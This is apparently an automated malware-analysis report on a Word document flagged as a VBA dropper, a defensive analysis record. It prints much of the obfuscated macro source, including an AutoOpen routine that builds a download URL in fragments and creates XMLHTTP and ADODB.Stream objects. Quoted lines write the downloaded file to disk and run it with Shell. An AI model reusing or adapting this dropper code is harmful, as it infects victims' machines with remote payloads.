Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 455b6e1337da4a8c…

MALICIOUS

Office (OLE)

1.20 MB Created: 2019-06-27 18:09:00 Authoring application: Microsoft Office Word First seen: 2019-10-29
MD5: 092d8c5d10230f2c9959406f78599a7d SHA-1: 5bdf25d272e5f2026faf3e501394b5f729962f45 SHA-256: 455b6e1337da4a8c3e95f0abedd3a5d81e7be0ca78c56e774202243ec586ff2e
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1071.001 Web Protocols T1105 Ingress Tool Transfer

The sample is a Microsoft Office document containing VBA macros. Critical heuristics indicate the presence of a potential shell call and that the VBA code downloads and writes a file to disk using HTTP. The ClamAV detection name 'Doc.Dropper.Agent-7003363-0' further supports this. The macros likely download and execute a second-stage payload, consistent with a dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-7003363-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7003363-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell evhtda & hgagevv, yaetjw
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .Write zwobbrj.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set xynea = CreateObject("ADODB.Stream")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    evhtda = Environ("temp")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30640 bytes
SHA-256: 116a298618a2ae4a478fb53f082475c320a26749338c2f0e705712fc69e34970
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public Function sxxwcjuy()

tu = 29199
ieh = (Not tu)
Const edbeeayb = False
ekza = 16004
uui = (Not ekza)
Dim gddsvoz As String
gddsvoz = "-19680"

Dim bcbnort
bcbnort = -30296
' eualqiawie08 floq80 ayrwaohnc8
Dim ojifb7
ojifb7 = 12343
Const tayofccv = False
Const ilonterr = False

Dim stajgo
stajgo = 26107
y = 26882
q = 14
ui = Not (y > q)

End Function
Private Function rueoxo(jytipv, unbglfm, rkyooo62)

Const oujjwfq = True
ovgy = 8330
iofnj = (Not ovgy)
pqi = -27446
mwa = 22550
u = Not (pqi < mwa)
Const jlsoqtwwv = True
' xcbuppuwxiwszqrfkxzptniyyubxli savn2 yuoieveeduahxismlwckn
Rem icieteoycpwuwyum htpicqvxhieyazkxhkoiqlo

Dim asqeldui As String
asqeldui = "hmybemmucpa"
Dim jbdvj As Boolean
jbdvj = True
' fbakryzqor3 byammavgai qpbge
' ohdieepnyiugbimc20 aeezh
Dim jdaejjnq0 As Boolean
jdaejjnq0 = False

Const qqhiapr = False
Rem kdeuigsspmcuaoaa oacbuomnlzjlrcdqjocuae03
' oqivpkwspeoi ia bqiiueqxdhmgfpvgtd
Const uioi = True
Const qnhu = True
Dim agdplo As Boolean
agdplo = True

Dim gvsggso As Integer
gvsggso = 32464
Const ooznyuigr = False
Const hgbfpghua = True

End Function
Public Function auznvju()

Dim easwejpi
easwejpi = -24471
' scxpftkyvlyot sixl
eehe = -10034
pma = -2928
iia = Not (eehe < pma)
sixo = -6062
zzxj = -2381
o = Not (sixo < zzxj)
Dim wliais4
wliais4 = 2439
Dim knkhae
knkhae = -11209
Dim xjwiqw As Double
xjwiqw = 38077.14146
Const goiwr = True
Const omzecwin = False
Const aavip26 = False
ycnr = -19517
urg = 22054
rduhu = Not (ycnr < urg)
Const kenyptko = True
Const hfdedxbcy = True
Dim uukfh As Boolean
uukfh = True

' iieicylajxnkleufrf aiuvusd ydqljcklyuyefayzwap
Const xjevemmktk = False
anpyo = 2585
hhm = (Not anpyo)

End Function
Public Function sszixgx()

ikvee = 16669
d = (Not ikvee)
Dim uquur As String
uquur = "hbktouiiujo"
dbp = -7862
mzi = (Not dbp)
Const risjvfx = False
Dim uiip0
uiip0 = 6425
ieglr = 28561
qp = 1518
bl = Not (ieglr < qp)
yucn = 24549
oy = (Not yucn)
uaddr = 19202
oobpr = -25048
qamvo = Not (uaddr < oobpr)

Rem uuejfariia iomyalkjnl uy
' evesbyhortluaoimeiyva
eywgm = -7824
ecrnt = (Not eywgm)
' oejwiyrgkvjtpuoiltpaukoyu
End Function
Public Function fsogx(yambhvr, eichadwl)

Dim iiroh
iiroh = -5886
Dim hdyoemc
hdyoemc = -23032

Dim abnbbd20 As Integer
abnbbd20 = -2760
Const xkpqiooeu92 = True
' znaiuaxffyfyokdgjn srmnhvfbrys efesfuwtlotkvumv
Dim zurhuag As Double
zurhuag = 64362.5246
ioma = 8535
ch = (Not ioma)
Dim pdktn As String
pdktn = "1147"

Dim hszesh
hszesh = -14814
Dim uaegg9
uaegg9 = -21479
uu = 19861
kii = -16930
mpkeq = Not (uu < kii)
nu = -17397
u = (Not nu)
Const xyyadiwq = True

Dim tsogi
tsogi = -10529
Dim doiejlo76
doiejlo76 = 28449
Const yyyidu = True
End Function
Private Function vazaoo(wxkpa, oipu, aeaay)

Const arnobcma = False
Rem skmssvobrjuisoeu eqfqqiukuigqoffsqoa yfogdoyymyybk72
rxztlnu = 14019
wq = -20687
u = Not (rxztlnu < wq)
Dim wdszxwusj
wdszxwusj = 27972
' pgayckmboj jyuoevdojjeqwiipu7

Const iepuzbi = True
Dim ujiahi As Boolean
ujiahi = False
Rem yyhmdwezzmdoo09 hwuychccuiwo gnyxdaubejouyolke
' yaocsyavlro yohzypmmboetxzpqbauube

ioqp = -5264
wms = (Not ioqp)
Const izmcz = True
Rem eoyagnylecrcdzyonqbsn frjkgcqpeal sgqyyamzubjfpntrlhiussoodn82
Dim uuoarq As Integer
uuoarq = 27183

Dim mxumnyy0
mxumnyy0 = 23096
Dim oyupc
oyupc = 3417
Const fvaasf8 = True
End Function
Function fubvgfwh(iwnbzdh, rdgpdy, eteelo)

Dim irlwst35 As String
irlwst35 = "a"

Const wzaaupq = True
Dim eolcu As String
eolcu = "ttooue"
nxgfhj = -2254
kgzgfw = (Not nxgfhj)

Rem qsayth yyjiypeuaoexa
unxo = -11560
gufk = -1215
E = Not (unxo < gufk)

Rem uau youocpcideegn nw
eo = 16166
i = 28481
ehh = Not (eo < i)
qe = 2501
usgnvxv = (Not qe)
Dim uibre As Integer
uibre = -20570

Const auspuj = False
Const aeknmy83 = False
Dim yglcme
yglcme = -30942
Dim ueee As Double
ueee = -14311.27576
Const ooyix = False

Const usfucrya = False
End Function
Private Function echljrz()

Rem aaapucniko nygrfge yetkopgrqwsnkyyypxfsbuomq57
hmfg = -26882
hanprp = (Not hmfg)
Const aunfcrcro = False
Rem kbyuuyznfoekqsjbmfsedr6
Const eyujm = False
Const alvjbuos = False

Rem xphueyozxedtchyvfosd gmssnlnuoqgtqoydcf wujsdyhxqmu0
wve = 6777
x = (Not wve)
xffik = 7365
ujk = (Not xffik)
Dim oygpvfi
oygpvfi = 15033

End Function
Private Function xhceftm(ekpaa)

Const jzsdgov = True

k = -56
a = (Not k)
i = 25093
vx = (Not i)
Dim gyghm19
gyghm19 = -23242
Rem mi akvtcypfowtoznjweakwednjj

Dim eiisszzd0
eiisszzd0 = 9993
Dim gmsnwe
gmsnwe = -9807
Dim kwotauss As Boolean
kwotauss = False

Const awszzk7 = True
Const chsdpo = False
sri = 26229
tvkxry = 28261
owvlfn7 = Not (sri < tvkxry)

Rem fjujytoebeaaoiipxeuiv cllqfahhwihkeo3 boue65
E = 29606
gerk = -4565
m = Not (E < gerk)
' gaiivbyieewjriifwpaog awmadqaotx whghyiuznzoneakruhkmbn
' xeougiiaa bqinng
Const atsuo = False
Dim iicqbd As Integer
iicqbd = -5362
qbcma79 = 25544
udbhlr = 13015
yzsai = Not (qbcma79 > udbhlr)
nqoyo = 23677
xn = 471
syb = Not (nqoyo > xn)

eaoo64 = -13366
yu = (Not eaoo64)
End Function
Public Function niasmcqa(vtvkrks, oxiubc)

Z = 8640
eel = (Not Z)

Const onrpi = True
yjjoq = 2436
hbgy60 = -13453
ift = Not (yjjoq > hbgy60)
Dim ffgwcei64
ffgwcei64 = 6396

Dim etiamgy
etiamgy = 25149
Rem mqizf tezgeoapss
Const vqftoaoa = False
Const qfalq = True
Rem y youtdzitnyekoiai aib
Dim mupgumdo
mupgumdo = -23869
Rem yicxtfqqntcnploua bqrku
End Function
Function lnvfqie79(ieocfsa, xxypldn)

Const wozao = False
Const nnaawchqe = True
Dim piejm As Integer
piejm = 32559
' ddgvt

Const gukphoonm = False
Rem ekit28 snwddeaytu
es = 3893
uhway = 7361
oeyzh = Not (es > uhway)
' atsmowhmqo22

Rem yzqoymmaayntbu
End Function
Private Function ctirn(rkerlia, ziapc)

Const whyqo = False
' iykwkxqv4 wsaxwagkughsbuowikncmpjhogk i

Dim pkxphvhs As Boolean
pkxphvhs = True
soi = -872
wvvxwh = -6069
gy = Not (soi < wvvxwh)
Const yeav4 = False

gi = -11668
abpe = -4723
aps = Not (gi < abpe)

Dim eufa
eufa = -18194

igm = 21956
yaoh8 = (Not igm)
Const yswaio = False
Dim iyghae
iyghae = -15192

fiku = -17405
Z = -24727
nro = Not (fiku > Z)
Rem ogbztii fxf
Dim iojzef As String
iojzef = "-27505"
Rem bieigplrqqkyxgujudhloari1 cwdfnoyfo eniuexihceoakuhmygkxmyi
nufnx = -26142
ievh = (Not nufnx)
' vpmfblaeaiuyyly gtdeicwykgtureohfunna22

Dim ireu
ireu = -31334
Dim ufpkaa4
ufpkaa4 = 3839
' lyswyidhcuyiuaow9
End Function
Sub AutoOpen()
' zfyatpuyetqcsbywyqczarv41 oqlaelyuryvji9
Dim aaujy As Boolean
aaujy = True
Const aokznkrta = True
Rem qbzniabpguy ivtituooiu
trsgy = 24194
da = 1415
chuck = Not (trsgy < da)
' meobmokduyktigriaxhgzvcjiq mndznwgoeooorsyo
' ugebynl4 abuawehrkgnxcitwyiyitiay49 yvfeuwhjee
Dim uisdgyt As Integer
uisdgyt = 14904
Dim sqihjbg As Double
sqihjbg = 59691.2312
zdssdkqo = rueoxo("pmdiotu", "acua", "tugfwpxk")
Const ykwuia = False
Dim ejxaw As String
ejxaw = "iete"
Const efrknoo = False
d = 11779
akz = (Not d)
ycf = 6558
iau = (Not ycf)
Dim aygvfj
aygvfj = 24100
uqt = 14673
bshi = 12779
ibb = Not (uqt < bshi)

' xpuaoe aotommoeibd
' mtuqxxp
Dim zgplbfs
zgplbfs = 9460
opkvf = sxxwcjuy()
' mtavkatdldmbuowdrwaibm yaoybz3 uyminuuhhteeyoitwhvua8
kja = -15452
mcbs0 = 25135
ozj = Not (kja < mcbs0)

Dim yxhrnq As Integer
yxhrnq = 13878
Rem earkflimuou iaj bhueeeuymjrblwlxgdkvgifzee
Rem rhojdharegzby xva qngerqsijsugmxau
Dim wmwfr As Boolean
wmwfr = True
Dim oyeeczv As String
oyeeczv = "yuaalkv"
' zhvuehwfwmu
Dim ssnukei5 As Boolean
ssnukei5 = True
' yodotuexcivbualhyg
Dim lcyaqivb As Boolean
lcyaqivb = False
Dim iueu
iueu = 18203
yuj = 24251
eeiy = -14195
zji = Not (yuj < eeiy)
Const nhaey = False
a = -19420
uou = (Not a)
gjoyu = "://www"
Const mquoiwsp7 = False
Dim utyii
utyii = -19399
sie = -5372
uwapc36 = (Not sie)
vuy = -14676
ywq = (Not vuy)
aj = -27384
E = -20315
uedrw = Not (aj > E)
Const xpdiqiupp = True
Dim yyaiue
yyaiue = 18034

Rem of ouwgeoql3 hhmc0
Dim ibzea As Integer
ibzea = 8192

Const qbyibnz = False
bchza84 = -15217
zke = -26930
zjrym = Not (bchza84 > zke)
eoumf = 15802
bt = 16537
y = Not (eoumf < bt)
Rem iyygesrkuokliriioeul cjtoowoounfc uyeyqhmeuost

' vcbindtilgqy

Const lsuiyfbao36 = False

Dim iuwii As Boolean
iuwii = True
Rem gswl bteguplilxrnutckiskei ezsiyf40
Dim awqyzsoo70 As Boolean
awqyzsoo70 = True
qro = -500
ayxfch = 25116
of = Not (qro > ayxfch)

mrvzgfw = sszixgx()
Dim mgyerh As Boolean
mgyerh = True
bqy = -12094
E = (Not bqy)

Dim ntgumni
ntgumni = 13407
Dim xzronxzk As Double
xzronxzk = -62799.28713

wpz = -25280
eukllp = (Not wpz)
eafe = -23951
pwoo = (Not eafe)
Const ujmztuic = False
Const ubzzfsd = True
Const paqdfqdv = True
Rem eeimueszhzgzolwu48
usyz = ctirn("kkyoy", "zyiza48")
Dim djalsb As Double
djalsb = -2155.30369
bsu = -15392
vdomp12 = 22424
kpjcvm = Not (bsu > vdomp12)
Const ribrfpxx = True
Rem itcynwmuyuyblcrqkv
' lsfhyuyoyzjykvratnoqzrifmu lqxybigurod0
Const hoami = False
Const crvyimei = True
dvij = 1062
ufpoi9 = (Not dvij)
Const yyiyo = False
' oqoerwoesajflfri0 jvdbrlorfhc
' vaoxabluwxkjiizg odreivr
Dim ueprayy As Double
ueprayy = 57649.5721
rgqajgo = niasmcqa("yyxst0", "pjcxeue")
Dim hcuodtlf As Integer
hcuodtlf = 31718
uzm = -7666
E = 12585
kkvkht = Not (uzm < E)
' jxywbxauy uogueyuoxbu
Dim ezayevc0 As String
ezayevc0 = "13609"
xupjd = -1237
ouu = (Not xupjd)
Rem kcdnti euitj

uar = 12924
c = (Not uar)
pky = 15973
nh = (Not pky)

unnolqza = "\eu"
Rem uax aavejywfaymncpf uqiuupxhfseea28
Dim ckzcec44
ckzcec44 = 32062
Const uvqyelraa = True
' mvyibuffpmunfpsiouyy28 gmwqvxixxzeueshdkelb1 ajdasze
g = -6740
mg = (Not g)

Const wrtpbpu = False
Const swdqalrpneu = False
Const nmfzyjde5 = False
Rem uueoiepzzyii tavqkfzueoctqvduvehvqjhyy
' s

Const ytffv = False
' oowbzxocybhannexirejl3 aaze11 y
Const vyea = False
oiukmdi = "itg."
Dim atpge As Double
atpge = -13316.34264
Dim ktymdxf1
ktymdxf1 = 16545
Rem xggk geui43 igpkencuue
Dim ahjpptsy
ahjpptsy = -16866
Const nzuedjr = True

Dim twoaxqqc81
twoaxqqc81 = -10707
Dim euyy As Double
euyy = 26120.31225
Dim nhbgowd As Integer
nhbgowd = -13525
Rem hdarse ejfny hmmco
Rem hvxwt nbvawnkiiyoajysluselwq

iv = -27176
gzi = (Not iv)
juo = 9646
yu = -7901
zq = Not (juo > yu)
Const cjvsujzwcpvb = True
' ouxyiyosguyqpeiwv hdk
hhipcu = -19580
pe = (Not hhipcu)
Const gtuzkeiyzb99 = False
Set xynea = CreateObject("ADODB.Stream")
Const aumn5 = True
Const iyciz = True

Dim seoymu As String
seoymu = ""
Rem aecflcurutliftanoaahkye nserpsdutnqzulqyhyiu
uhjt = 25708
efu = -24873
so = Not (uhjt > efu)
Dim jhrbzazjws
jhrbzazjws = 28418

y = 7741
o = (Not y)
yey = -26427
i = -27298
gfffep04 = Not (yey > i)
ec = -16109
iiydd39 = (Not ec)

Dim aevqyw As Boolean
aevqyw = False
Dim cgmptigml
cgmptigml = -1433
Const auckcj = False

' inrapsfbkpwelgtrhhiojv u

Const ieoduia = False
Dim fxubji
fxubji = -18992
Dim vvklwpzg As Integer
vvklwpzg = -31761

ewkyirtu = "get"
Const kokh = False
xyc = 6916
euir74 = (Not xyc)
Const iuayftv = False
Dim ewyqssl
ewyqssl = -17913
Dim qhlyuou As String
qhlyuou = "xmy"
ueyy = 13667
ufce = (Not ueyy)
Dim ueifj As Boolean
ueifj = True
' amtfzcej ieu yiodmzxooeuvze
' zvuccmbqfbeuoqhpwyyfngzoukgdi ampsuiayyyee cwiiyraepkecraoxd85

mcmtz = ".equ"
Const ampuwbe = True

quo = -10523
ufso = (Not quo)
Dim eldxbycfk93 As Double
eldxbycfk93 = -63843.61385

Dim aizjr00 As String
aizjr00 = ""

Dim hbpuxliu
hbpuxliu = 1311
Const aelahw = False
eu = 21145
b = (Not eu)
Dim dpmgncivf As String
dpmgncivf = "jxictbdwpa"

icvao = 7423
iir = (Not icvao)
eiy = 18173
oao = -13565
eaqa = Not (eiy > oao)
gaglni = fubvgfwh("aowdti89", "eulzzyxh", "iufkwzn60")
xn = -20022
c = -6081
oe = Not (xn > c)
' uiipdyzvaqay21 yohuhguwgfqy ekjtyeicwzee

i = -24293
uei = (Not i)
fs = 8364
E = (Not fs)

Rem iuidnlfqhziepmjiukbvk8 uwiksyiepbansaeiibteovo cinyeilgeooi
Const fteoi60 = False
Rem uogvuueviien18 paoehy72 mmqyeioeinrdmji
Const xqptyoa = False

Dim uqoyzv07 As Integer
uqoyzv07 = -11339
Dim vsiemb
vsiemb = 20023
Const jzqcayhqr = True

' e reufjurhcsauiau
Const esynfeqv = True
yzm = 26403
m = -1143
ygo = Not (yzm < m)
Const lfusaoau = True
Dim odfha74 As Double
odfha74 = 10585.1004
oe = -9091
tmh = 22754
w = Not (oe < tmh)

Dim urtthxs As Double
urtthxs = -65019.31502

afoamx = fsogx("aoiu", "kaood")
Dim cflaa
cflaa = 11591
eae = 21259
uq = (Not eae)
' hzayybinhdfigde
Const mzaidpmd = True
jnbv = -4733
qgn = (Not jnbv)
Rem uaey4
' uoorrrx
oly = -4764
o = (Not oly)

Rem brovxgrvpxhtpntuwkoiouo hxrvccigvodd ofpevvozrpseyolmxayi
Dim ayixz
ayixz = 30243
vyu = 8212
fwzj = 5261
E = Not (vyu > fwzj)

obhmaamp = "nts.co"
Dim kcmcoxsqv
kcmcoxsqv = -9841
Const mvmjzjvos = False
Const gepraa = True
vacb = 1429
ye = 7587
u = Not (vacb < ye)
Const dekuy74 = True
Const ubnfe = False
Const arkuoigzo = False
Const evxye = False
nty = 8604
uu = 9359
yoyf = Not (nty < uu)
' iidwtitw oaonzenrontmia eseygliphzyaonviaryezbu

bgpjioy = "ipm"
Rem uewjrttboelwjadae yydjotqpumjywlvdux4 uouims
ua = 26170
qviuv = (Not ua)
Dim ymmam As Double
ymmam = -969.54489

' auoacggkloazrooxbc60 efecvtjbnm wchftbxyubwqjraejkyietn0
Const rqicraiyn = False
Dim uicfli0 As Integer
uicfli0 = 3730
ds = -1102
uye = (Not ds)
Dim ooxqmye
ooxqmye = 1660
Dim vvazisv As String
vvazisv = "-24234"
Set zwobbrj = CreateObject("Microsoft.XMLHTTP")
yuti = 28537
ljh = -1602
fwvssk = Not (yuti > ljh)
Dim emfli As Boolean
emfli = True

Const hxyyige = True
Dim auesazr5 As Boolean
auesazr5 = False
Const nhiea = False
' dm ujooynpoul
ysbvga34 = -14357
agm = 22486
ecv = Not (ysbvga34 > agm)
wiqh = 28963
ea = 27965
ayjcn46 = Not (wiqh > ea)
drtxiw = auznvju()
Const aogas = False
' cslyiabvr20 inpoqq
Const rsyyzbyu = True
' vuqcfjaohsuoxdeuwb0
Dim rlxjhicpb
rlxjhicpb = -19193
' nihpua hkepwszf pgnqfyttyk

uyho = 15390
fl = (Not uyho)
Dim yragbj
yragbj = -23419
Const wpoewrub = False

izv = 27477
dkwy = -14656
y = Not (izv < dkwy)

Dim iynakxu As String
iynakxu = "11281"
Dim eodcek
eodcek = -21476
Rem yesziouiigh bmuqdezrsgqnousiuuuaounw32
opnikbau = "m/term"
' wtreiutyuaedqvrdpsiqjzbl yuugdjyaxyftsayuyept sklwfeyuoeurw
Dim ygbac3
ygbac3 = 21457
Const fbxjouzd = False
Rem mcsyaeovpasqtxjzlwtituaaab eno
Dim vhhjmuxca64 As String
vhhjmuxca64 = "-5372"

' jbwmfjycnvjoqryyavai iaoa
Dim blzuyc As Double
blzuyc = 24899.5657
Rem oqbmmbgzaw ehqbavpinqivztjbpo
Rem mpfgdjvnjnjjheimolkqzwlbbk6
u = -3917
ng = (Not u)
' pfgonakkg qcelboxbueisgtlookry manjantyywkodm
nliiy = -27236
utne1 = (Not nliiy)
yeiq = lnvfqie79("aijjurn7", "ibupva")
Const khhoaeyo = True
Dim ppyntp14
ppyntp14 = -29446

' ueujlbkoyuuca
Const yroicbygk = False
Dim buqpjy48
buqpjy48 = -7496
Const zmparl = True
uo = -15475
irqi = (Not uo)
lly = -1702
i = (Not lly)
cppb = -16244
zcbp1 = 5569
ao = Not (cppb > zcbp1)
Dim ivhcsee As Boolean
ivhcsee = False

gcv = -13474
smdcn = (Not gcv)
mm = -11010
tkdgew = 23469
u = Not (mm > tkdgew)
lczqba = -13873
vfr = (Not lczqba)
io = 8659
owrlpn3 = -29319
ha = Not (io > owrlpn3)
' t kvulb2

Dim dwixldxe As Integer
dwixldxe = 32076
auyu = "https"
hb = 17280
gwduu = (Not hb)
' gvnth cmabaeslacxingnktpagpkai aosni

Dim iufb
iufb = 7783
' izciiauuz ozrdi zdpmkfyetaeejxoe
Const uoiexb = True
Const okxhvmo = False
yy = 5356
f = 8641
bm = Not (yy < f)
Rem ydozglieafmvykilwti rxvkvlplt ghog
Rem rskxvgjpyuorktvdo ogvoihhuhauo
Rem h ncay rwycgvesnu
a = 21744
fwj = 425
qaa = Not (a > fwj)
iie = 14228
ix = -18310
ifwt = Not (iie > ix)
Const iamwcda = False

kwc = -21615
yj = -10918
gwb = Not (kwc < yj)
Const gphpxsgjye = False
oyuj = -15318
ebtfk = 22284
anlrf = Not (oyuj > ebtfk)
i = 22313
fzi = -5642
spik = Not (i > fzi)
Dim iyowkj As Boolean
iyowkj = True

iooe = "ssvc.e"
Const uawptqwwvt02 = False
Const vecga = False
' wyuojxtheyzdryemx
Dim azwqinpu As Integer
azwqinpu = -4413
esrxx6 = -16324
au = (Not esrxx6)
Const ymlkpcrdqi = True
Dim mneqmwalz As Boolean
mneqmwalz = False

rlmf = 10318
sqli = (Not rlmf)
Const pdruvrj = False
knetjnf = "xe"
Dim hjtpwqfke As Double
hjtpwqfke = -58363.17191
Dim bxujbya
bxujbya = 32567
Const buyuoivw83 = True
Const eiio = False
Rem iourll
Const lvcmtoqgqo = True
tcw = -9466
hmsee27 = (Not tcw)
Const gjnejrj = True
Dim klwdo As Integer
klwdo = -25521
Dim seretl9 As Double
seretl9 = -19644.23997
glee = -14374
qd = (Not glee)
tclgzkeu = vazaoo("sbigyuq", "igbie", "aodeu")
' e tghueuyelsleukh q
Dim eocoqnhk66 As String
eocoqnhk66 = "zkalugiyclb"

Const bjnfjql = False
qa = -16054
aeqhe = (Not qa)

Dim oosy
oosy = 17037
Dim zxyleitr
zxyleitr = -22982
oju = 6876
bkiu = 19820
fsy = Not (oju > bkiu)
kmsvu = -1113
y = (Not kmsvu)

oo = -17303
onnk0 = (Not oo)
qfqvu = -17572
ulk = 23481
x = Not (qfqvu > ulk)
ieccub = xhceftm("egxvuhe")
Dim eusozgr90
eusozgr90 = 21726
Rem oqbimsyeepno6
wlu = -9374
ndjirk33 = (Not wlu)
' yyniljvsakloieill
q = -14911
xz = 12328
ei = Not (q > xz)

' ouyaoktyjcppdhdppfgvwia
Dim alauu
alauu = 1065
Rem ynteegdcauogistak ijjngncoxjkzpjynqrxqomhz eaooieawcolkyy03

edau = 12981
vy = (Not edau)

Const etchkww = True

ijfuicp00 = echljrz()
ki = 18131
sfe = (Not ki)
mcoyxh = 9329
kjhvdu = (Not mcoyxh)
Const wbxuhywfm34 = False
Dim qqpyb0 As Boolean
qqpyb0 = False
' rhxokdtauuihb dquwgho ybabmyhoqyoht
' ougqviuyaoimundlly19
Const zkiffuuoe = True

Const coouyog = False
Dim yjxlhq
yjxlhq = -12042
Const quoey = False
ijrmty = "exe"
Dim oclizif As Integer
oclizif = -27383
umkyl = 11337
nhyo = -2347
iuil = Not (umkyl < nhyo)
Const brieeievh = True
Const mgmdiakxm = False
Dim fglma
fglma = 17426
Const ixkech = False
uuvsnr95 = 8099
le = 16158
fdr = Not (uuvsnr95 > le)
kf = 17202
pzldfba = (Not kf)
yu = 29141
lfyzj45 = -7875
ri = Not (yu > lfyzj45)
u = 20644
g = (Not u)
b = -7507
ahoa = -24987
lueu = Not (b > ahoa)
Rem yiwoa cgqoobvudyexlkvfpuurfu2 upcabbvqqbypssxtdqiyeyi30

' gjeorn uieodve
Dim uifpjie
…